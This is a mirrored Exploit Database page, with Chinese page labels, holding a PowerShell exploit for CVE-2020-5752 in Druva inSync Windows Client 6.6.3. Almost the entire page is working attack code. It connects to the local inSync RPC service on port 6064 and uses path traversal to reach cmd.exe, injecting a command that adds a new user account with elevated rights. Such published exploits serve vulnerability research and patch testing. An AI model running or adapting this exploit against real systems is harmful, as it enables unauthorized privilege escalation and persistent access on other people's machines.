Druva inSync Windows Client 6.6.3 – Local Privilege Escalation (PowerShell)

• Exploit Database
• 138 阅读

• 作者： 1F98D
  日期： 2020-12-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49211/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  # Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation (PowerShell) # Date: 2020-12-03 # Exploit Author: 1F98D # Original Author: Matteo Malvica # Vendor Homepage: druva.com # Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi # Version: 6.6.3 # Tested on: Windows 10 (x64) # CVE: CVE-2020-5752 # References: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/ # Druva inSync exposes an RPC service which is vulnerable to a command injection attack.   $ErrorActionPreference = "Stop"   $cmd = "net user pwnd /add"   $s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp ) $s.Connect("127.0.0.1", 6064)   $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]") $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)<code>0</code>0`0") $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd"); $length = [System.BitConverter]::GetBytes($command.Length);   $s.Send($header) $s.Send($rpcType) $s.Send($length) $s.Send($command)